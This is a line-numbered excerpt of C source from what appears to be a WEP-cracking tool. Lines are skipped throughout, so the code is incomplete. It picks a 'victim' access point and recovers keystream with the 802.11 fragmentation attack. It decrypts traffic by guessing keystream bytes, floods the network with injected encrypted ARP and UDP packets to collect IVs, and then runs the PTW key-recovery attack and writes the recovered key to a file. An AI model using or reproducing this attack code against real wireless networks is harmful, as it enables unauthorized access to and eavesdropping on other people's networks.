1649 if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1650 type != IEEE80211_FC0_TYPE_CTL) {
1651 // printf("Ignoring dup packet... seq=%d\n", seq);
1657 if (type == IEEE80211_FC0_TYPE_MGT) {
1658 if(state == FIND_VICTIM) {
1659 if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1660 stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1662 if (get_victim_ssid(wh, rd)) {
1670 if (state >= FOUND_VICTIM) {
1673 stuff_for_us(wh, rd);
1676 // stuff in network [even for us]
1677 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1678 (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1680 ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1681 (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1683 stuff_for_net(wh, rd);
1688 void do_arp(unsigned char* buf, unsigned short op,
1689 unsigned char* m1, unsigned char* i1,
1690 unsigned char* m2, unsigned char* i2) {
1695 unsigned char* data;
1697 inet_aton(i1, &sip);
1698 inet_aton(i2, &dip);
1699 h = (struct arphdr*) buf;
1701 memset(h, 0, sizeof(*h));
1703 h->ar_hrd = htons(ARPHRD_ETHER);
1704 h->ar_pro = htons(ETHERTYPE_IP);
1707 h->ar_op = htons(op);
1709 data = (unsigned char*) h + sizeof(*h);
1711 memcpy(data, m1, 6);
1713 memcpy(data, &sip, 4);
1716 memcpy(data, m2, 6);
1718 memcpy(data, &dip, 4);
1722 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1723 unsigned char buf[4096];
1724 struct ieee80211_frame* wh;
1725 unsigned char* body;
1728 unsigned long *pcrc;
1730 unsigned short* seq;
1731 unsigned short sn, fn;
1733 wh = (struct ieee80211_frame*) buf;
1734 memcpy(wh, &fs->wh, sizeof(*wh));
1736 body = (unsigned char*) wh + sizeof(*wh);
1737 memcpy(body, &pi->iv, 3);
1739 *body++ = 0; // key index
1741 fragsize = fs->data + fs->len - fs->ptr;
1743 assert(fragsize > 0);
1745 if ( (fragsize + 4) > pi->len) {
1746 fragsize = pi->len - 4;
1747 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1751 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1754 memcpy(body, fs->ptr, fragsize);
1756 crc = crc32(0L, Z_NULL, 0);
1757 crc = crc32(crc, body, fragsize);
1758 pcrc = (unsigned long*) (body+fragsize);
1761 for (i = 0; i < (fragsize + 4); i++)
1762 body[i] ^= pi->prga[i];
1764 seq = (unsigned short*) &wh->i_seq;
1765 sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1766 fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1767 // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1769 send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1771 seq = (unsigned short*) &fs->wh.i_seq;
1772 *seq = fnseq(++fn, sn);
1773 fs->ptr += fragsize;
1775 if (fs->ptr - fs->data == fs->len) {
1776 // printf("Finished sending frags...\n");
1777 fs->waiting_relay = 1;
1781 void prepare_fragstate(struct frag_state* fs, int pad) {
1782 fs->waiting_relay = 0;
1783 fs->len = 8 + 8 + 20 + pad;
1784 fs->data = (unsigned char*) malloc(fs->len);
1793 do_llc(fs->data, ETHERTYPE_ARP);
1794 do_arp(&fs->data[8], ARPOP_REQUEST,
1796 "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1798 memset(&fs->wh, 0, sizeof(fs->wh));
1799 fill_basic(&fs->wh);
1801 memset(fs->wh.i_addr3, 0xff, 6);
1802 fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1803 fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1804 IEEE80211_FC1_MORE_FRAG |
1807 memset(&fs->data[8+8+20], 0, pad);
1810 void discover_prga(int tx) {
1813 if (!fragstate.data) {
1816 if (prgainfo.len >= 20)
1817 pad = prgainfo.len*3;
1819 prepare_fragstate(&fragstate, pad);
1822 if (!fragstate.waiting_relay) {
1823 send_fragment(tx, &fragstate, &prgainfo);
1824 if (fragstate.waiting_relay) {
1825 if (gettimeofday(&fragstate.last, NULL) == -1)
1826 err(1, "gettimeofday()");
1831 void decrypt(int tx) {
1834 if (!decryptstate.fragstate.data) {
1835 prepare_fragstate(&decryptstate.fragstate, 0);
1837 memcpy(decryptstate.fragstate.wh.i_addr3,
1840 decryptstate.fragstate.wh.i_addr3[5] =
1841 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1843 decryptstate.prgainfo.len++;
1846 // guess diff prga byte...
1847 if (decryptstate.fragstate.waiting_relay) {
1848 unsigned short* seq;
1849 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1852 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1853 printf("Can't decrpyt!\n");
1857 decryptstate.fragstate.wh.i_addr3[5] =
1858 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1860 decryptstate.fragstate.waiting_relay = 0;
1861 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1863 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1864 *seq = fnseq(0, txstate.psent);
1867 send_fragment(tx, &decryptstate.fragstate,
1868 &decryptstate.prgainfo);
1871 void flood_inet(tx) {
1872 static int send_arp = -1;
1873 static unsigned char arp_pkt[128];
1875 static unsigned char udp_pkt[128];
1877 static struct timeval last_ip;
1879 // need to init packets...
1880 if (send_arp == -1) {
1881 unsigned char* body;
1883 struct ieee80211_frame* wh;
1887 memset(arp_pkt, 0, sizeof(arp_pkt));
1888 memset(udp_pkt, 0, sizeof(udp_pkt));
1891 wh = (struct ieee80211_frame*) arp_pkt;
1894 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1895 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1896 memset(wh->i_addr3, 0xff, 6);
1898 body = (unsigned char*) wh + sizeof(*wh);
1902 do_llc(ptr, ETHERTYPE_ARP);
1904 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1905 "\x00\x00\x00\x00\x00\x00", netip);
1907 wepify(body, 8+8+20);
1908 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1909 assert(arp_len < sizeof(arp_pkt));
1913 wh = (struct ieee80211_frame*) udp_pkt;
1916 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1917 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1918 memcpy(wh->i_addr3, rtrmac, 6);
1920 body = (unsigned char*) wh + sizeof(*wh);
1924 do_llc(ptr, ETHERTYPE_IP);
1927 ih = (struct ip*) ptr;
1931 ih->ip_len = htons(20+8+5);
1932 ih->ip_id = htons(666);
1935 ih->ip_p = IPPROTO_UDP;
1938 inet_aton(myip, &ih->ip_src);
1939 inet_aton(floodip, &ih->ip_dst);
1941 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1944 uh = (struct udphdr*) ptr;
1945 uh->uh_sport = htons(floodsport);
1946 uh->uh_dport = htons(floodport);
1947 uh->uh_ulen = htons(8+5);
1951 strcpy(ptr, "sorbo");
1953 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1956 wepify(body, 8+20+8+5);
1957 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1958 assert(udp_len < sizeof(udp_pkt));
1963 memset(&last_ip, 0, sizeof(last_ip));
1966 if (send_arp == 1) {
1970 if (gettimeofday(&now, NULL) == -1) {
1971 perror("gettimeofday()");
1975 sec = now.tv_sec - last_ip.tv_sec;
1980 send_frame(tx, arp_pkt, arp_len);
1984 else if (send_arp == 0) {
1985 if (gettimeofday(&last_ip, NULL) == -1) {
1986 perror("gettimeofday()");
1990 send_frame(tx, udp_pkt, udp_len);
1995 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1996 unsigned char* srcmac, unsigned char* dstip,
1997 unsigned char* dstmac) {
1999 static unsigned char arp_pkt[128];
2000 unsigned char* body;
2002 struct ieee80211_frame* wh;
2005 memset(arp_pkt, 0, sizeof(arp_pkt));
2008 wh = (struct ieee80211_frame*) arp_pkt;
2011 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2012 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2013 memset(wh->i_addr3, 0xff, 6);
2015 body = (unsigned char*) wh + sizeof(*wh);
2019 do_llc(ptr, ETHERTYPE_ARP);
2021 do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
2023 wepify(body, 8+8+20);
2024 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
2025 assert(arp_len < sizeof(arp_pkt));
2027 send_frame(tx, arp_pkt, arp_len);
2030 void can_write(int tx) {
2031 static char arp_ip[16];
2036 state = SENDING_AUTH;
2041 state = SENDING_ASSOC;
2045 if (prgainfo.prga && prgainfo.len < min_prga) {
2050 if (decryptstate.cipher) {
2059 send_frame(tx, taptx, taptx_len);
2064 // try to find rtr mac addr
2065 if (netip && !rtrmac) {
2068 strcpy(arp_ip, netip);
2070 ptr = strchr(arp_ip, '.');
2072 ptr = strchr(++ptr, '.');
2074 ptr = strchr(++ptr, '.');
2079 if (gettimeofday(&arpsend, NULL) == -1)
2080 err(1, "gettimeofday()");
2082 time_print("Sending arp request for: %s\n", arp_ip);
2083 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2084 arp_ip, "\x00\x00\x00\x00\x00\x00");
2087 rtrmac = (unsigned char*)1;
2091 // need to generate traffic...
2092 if (rtrmac > (unsigned char*)1 && netip) {
2096 // XXX lame technique... anyway... im
2097 // only interested in flood_inet...
2099 // could ping broadcast....
2100 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2101 arp_ip, "\x00\x00\x00\x00\x00\x00");
2111 void save_key(unsigned char *key, int len)
2118 assert(len*3 < sizeof(k));
2122 sprintf(tmp, "%.2X", *key++);
2128 fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2132 printf("\nKey: %s\n", k);
2133 rd = write(fd, k, strlen(k));
2136 if (rd != strlen(k))
2137 errx(1, "write %d/%d\n", rd, strlen(k));
2141 #define KEYLIMIT (1000000)
2144 unsigned char key[PTW_KEYHSBYTES];
2146 if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2150 if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2161 time_print("Warning... previous crack still running!\n");
2166 if (fsync(weplog.fd) == -1)
2172 if (crack_pid == -1)
2176 if (crack_pid == 0) {
2178 printf("\nCrack unsuccessful\n");
2184 time_print("Starting crack PID=%d\n", crack_pid);
2185 if (gettimeofday(&crack_start, NULL) == -1)
2186 err(1, "gettimeofday");
2189 wep_thresh += thresh_incr;
2198 tapfd = open(TAP_DEV, O_RDWR);
2200 printf("Can't open tap: %s\n", strerror(errno));
2203 if(fstat(tapfd, &st) == -1) {
2209 strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2211 s = socket(PF_INET, SOCK_DGRAM, 0);
2218 memset(&ifr, 0, sizeof(ifr));
2219 strcpy(ifr.ifr_name, tapdev);
2221 if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2222 perror("ioctl(SIOCSIFMTU)");
2227 memset(&ifr, 0, sizeof(ifr));
2228 strcpy(ifr.ifr_name, tapdev);
2229 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2230 perror("ioctl(SIOCGIFFLAGS)");
2234 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2237 memset(&ifr, 0, sizeof(ifr));
2238 strcpy(ifr.ifr_name, tapdev);
2239 ifr.ifr_flags = flags & 0xffff;
2240 ifr.ifr_flagshigh = flags >> 16;
2241 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2242 perror("ioctl(SIOCSIFFLAGS)");
2247 time_print("Opened tap device: %s\n", tapdev);
2251 unsigned char buf[4096];
2252 struct ether_header* eh;
2253 struct ieee80211_frame* wh;
2255 unsigned char* ptr, *body;
2258 rd = read(tapfd, buf, sizeof(buf));
2263 dlen = rd - sizeof(*eh);
2267 if (dlen+8 > prgainfo.len) {
2269 // XXX lame message...
2270 time_print("Sorry... want to send %d but only got %d prga\n",
2271 dlen, prgainfo.len);
2278 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2279 // XXX could not read instead and get rid of it in select...
2282 assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2284 eh = (struct ether_header*) buf;
2286 wh = (struct ieee80211_frame*) taptx;
2287 memset(wh, 0, sizeof(*wh));
2290 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2291 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2293 memcpy(wh->i_addr2, eh->ether_shost, 6);
2294 memcpy(wh->i_addr3, eh->ether_dhost, 6);
2296 body = (unsigned char*) wh + sizeof(*wh);
2300 do_llc(ptr, ntohs(eh->ether_type));
2303 memcpy(ptr, &buf[sizeof(*eh)], dlen);
2305 wepify(body, 8+dlen);
2306 taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2308 assert (taptx_len < sizeof(taptx));
2311 int elapsedd(struct timeval *past, struct timeval *now)
2315 el = now->tv_sec - past->tv_sec;
2318 el = now->tv_usec - past->tv_usec;
2320 el = (el - 1)*1000*1000;
2321 el += 1000*1000-past->tv_usec;
2328 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2330 #define BIT(n) (1<<(n))
2331 struct bpf_hdr *bpfh;
2332 struct ieee80211_radiotap_header *rth;
2336 static int nocrc = 0;
2341 bpfh = (struct bpf_hdr*) (*data);
2342 assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2343 *totlen -= bpfh->bh_hdrlen;
2345 /* check if more packets */
2346 if ((int)bpfh->bh_caplen < *totlen) {
2347 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2348 int offset = BPF_WORDALIGN(tot);
2350 *data = (char*)bpfh + offset;
2351 *totlen -= offset - tot; /* take into account align bytes */
2352 } else if ((int)bpfh->bh_caplen > *totlen)
2355 *plen = bpfh->bh_caplen;
2356 *totlen -= bpfh->bh_caplen;
2357 assert(*totlen >= 0);
2360 rth = (struct ieee80211_radiotap_header*)
2361 ((char*)bpfh + bpfh->bh_hdrlen);
2362 /* XXX cache; drivers won't change this per-packet */
2363 /* check if FCS/CRC is included in packet */
2364 present = le32toh(rth->it_present);
2365 if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2366 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2367 rflags = ((const uint8_t *)rth)[8];
2369 rflags = ((const uint8_t *)rth)[0];
2372 *plen -= rth->it_len;
2376 if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2377 *plen -= IEEE80211_CRC_LEN;
2381 ptr = (char*)rth + rth->it_len;
2387 static int read_packet(int fd, unsigned char *dst, int len)
2389 static unsigned char buf[4096];
2390 static int totlen = 0;
2391 static unsigned char *next = buf;
2397 /* need to read more */
2399 totlen = read(fd, buf, sizeof(buf));
2407 /* read 802.11 packet */
2408 pkt = get_80211(&next, &totlen, &plen);
2412 memcpy(dst, pkt, plen);
2417 void own(int wifd) {
2418 unsigned char buf[4096];
2422 char *pbar = "/-\\|";
2423 char *pbarp = &pbar[0];
2424 struct timeval lasthop;
2426 unsigned int last_wep_count = 0;
2427 struct timeval last_wcount;
2428 struct timeval last_status;
2432 weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2433 if (weplog.fd == -1) {
2434 struct pcap_file_header pfh;
2436 memset(&pfh, 0, sizeof(pfh));
2437 pfh.magic = TCPDUMP_MAGIC;
2438 pfh.version_major = PCAP_VERSION_MAJOR;
2439 pfh.version_minor = PCAP_VERSION_MINOR;
2442 pfh.snaplen = 65535;
2443 pfh.linktype = LINKTYPE_IEEE802_11;
2445 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2446 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2447 if (weplog.fd != -1) {
2448 if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2453 time_print("WARNING: Appending in %s\n", WEP_FILE);
2456 if (weplog.fd == -1) {
2461 fd = open(PRGA_FILE, O_RDONLY);
2463 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2464 rd = read(fd, buf, sizeof(buf));
2470 set_prga(buf, NULL, &buf[3], rd - 3);
2476 fd = open(DICT_PATH, O_RDONLY);
2478 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2479 if (mkdir (DICT_PATH, 0755) == -1) {
2488 set_if_mac(mymac, tapdev);
2489 time_print("Set tap MAC to: %s\n", mac2str(mymac));
2496 if (signal(SIGINT, &cleanup) == SIG_ERR) {
2500 if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2505 time_print("Looking for a victim...\n");
2506 if (gettimeofday(&lasthop, NULL) == -1) {
2507 perror("gettimeofday()");
2511 memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2512 memcpy(&last_status, &lasthop, sizeof(last_status));
2515 if (gettimeofday(&now, NULL) == -1) {
2516 perror("gettimeofday()");
2520 /* check for relay timeout */
2521 if (fragstate.waiting_relay) {
2524 el = now.tv_sec - fragstate.last.tv_sec;
2527 el = now.tv_usec - fragstate.last.tv_usec;
2532 el += 1000*1000 - fragstate.last.tv_usec;
2535 if (el > (1500*1000)) {
2536 // printf("\nLAMER timeout\n\n");
2537 free(fragstate.data);
2543 /* check for arp timeout */
2544 if (rtrmac == (unsigned char*) 1) {
2547 el = elapsedd(&arpsend, &now);
2548 if (el >= (1500*1000)) {
2554 if ( (now.tv_sec > last_status.tv_sec ) ||
2555 ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2556 if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2559 if (netip && prgainfo.len >= min_prga &&
2560 rtrmac > (unsigned char*) 1) {
2561 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
2562 weplog.packets, wep_thresh,
2563 weplog.iv[0], weplog.iv[1], weplog.iv[2],
2568 if (state == FIND_VICTIM)
2569 time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2570 else if (decryptstate.cipher) {
2571 int pos = decryptstate.prgainfo.len - 1;
2572 unsigned char prga = decryptstate.prgainfo.prga[pos];
2575 time_print("Guessing PRGA %.2x (IP byte=%d) \r",
2576 prga, decryptstate.cipher[pos] ^ prga);
2579 time_print("%c\r", *pbarp);
2582 memcpy(&last_status, &now,sizeof(last_status));
2585 // check if we are cracking
2587 if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2591 // check TX / retransmit
2592 if (txstate.waiting_ack) {
2593 unsigned int elapsed = now.tv_sec -
2594 txstate.tsent.tv_sec;
2595 elapsed *= 1000*1000;
2596 elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2598 if (elapsed >= ack_timeout)
2599 send_frame(wifd, NULL, -1);
2606 FD_SET(tapfd, &rfd);
2608 tv.tv_usec = 1000*10;
2609 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2618 if (FD_ISSET(wifd, &rfd)) {
2619 rd = read_packet(wifd, buf, sizeof(buf));
2631 anal(buf, rd, wifd);
2635 if (FD_ISSET(tapfd, &rfd)) {
2640 // check state and what we do next.
2641 if (state == FIND_VICTIM) {
2642 if (now.tv_sec > lasthop.tv_sec ||
2643 ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2644 int chan = chaninfo.chan;
2651 memcpy(&lasthop, &now, sizeof(lasthop));
2654 // check if we need to write something...
2655 if (!txstate.waiting_ack)
2660 #ifdef MORE_ACCURATE
2661 if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2662 unsigned int elapsed;
2664 int packetz = weplog.packets - last_wep_count;
2665 elapsed = 1000*1000;
2667 elapsed -= last_wcount.tv_usec;
2669 assert(elapsed >= 0);
2670 elapsed += now.tv_usec;
2672 secs = now.tv_sec - last_wcount.tv_sec;
2675 elapsed += (secs*1000*1000);
2678 ((double)packetz/(elapsed/1000.0/1000.0));
2680 if ( now.tv_sec > last_wcount.tv_sec) {
2681 weplog.rate = weplog.packets - last_wep_count;
2683 last_wep_count = weplog.packets;
2684 memcpy(&last_wcount, &now, sizeof(now));
2686 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2693 void start(char *dev) {
2698 fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2700 ptw = PTW_newattackstate();
2702 err(1, "PTW_newattackstate()");
2711 for (i = 0; i < 10; i++) {
2712 gettimeofday(&tv, NULL);
2716 printf("%lu\n", tv.tv_usec);
2724 void usage(char* pname) {
2725 printf("Usage: %s <opts>\n", pname);
2726 printf("-h\t\tthis lame message\n");
2727 printf("-i\t\t<iface>\n");
2728 printf("-s\t\t<flood server ip>\n");
2729 printf("-m\t\t<my ip>\n");
2730 printf("-n\t\t<net ip>\n");
2731 printf("-r\t\t<rtr mac>\n");
2732 printf("-a\t\t<mymac>\n");
2733 printf("-c\t\tdo not crack\n");
2734 printf("-p\t\t<min prga>\n");
2735 printf("-4\t\t64 bit key\n");
2736 printf("-v\t\tvictim mac\n");
2737 printf("-t\t\t<crack thresh>\n");
2738 printf("-f\t\t<max chan>\n");
2742 void str2mac(unsigned char* dst, unsigned char* mac) {
2743 unsigned int macf[6];
2746 if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2747 &macf[0], &macf[1], &macf[2],
2748 &macf[3], &macf[4], &macf[5]) != 6) {
2750 printf("can't parse mac %s\n", mac);
2754 for (i = 0; i < 6; i++)
2755 *dst++ = (unsigned char) macf[i];
2758 int main(int argc, char *argv[]) {
2759 unsigned char* dev = "ath0";
2760 unsigned char rtr[6];
2761 unsigned char vic[6];
2765 if (gettimeofday(&real_start, NULL) == -1) {
2766 perror("gettimeofday()");
2774 memset(&txstate, 0, sizeof(txstate));
2775 memset(&fragstate, 0, sizeof(fragstate));
2776 memset(&decryptstate, 0, sizeof(decryptstate));
2777 memset(&weplog, 0, sizeof(weplog));
2779 state = FIND_VICTIM;
2781 while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2784 str2mac(mymac, optarg);
2796 strncpy(myip, optarg, sizeof(myip)-1);
2797 myip[sizeof(myip)-1] = 0;
2806 str2mac(rtr, optarg);
2811 str2mac(vic, optarg);
2820 min_prga = atoi(optarg);
2824 thresh_incr = wep_thresh = atoi(optarg);
2828 max_chan = atoi(optarg);
2843 if(chaninfo.s != -1)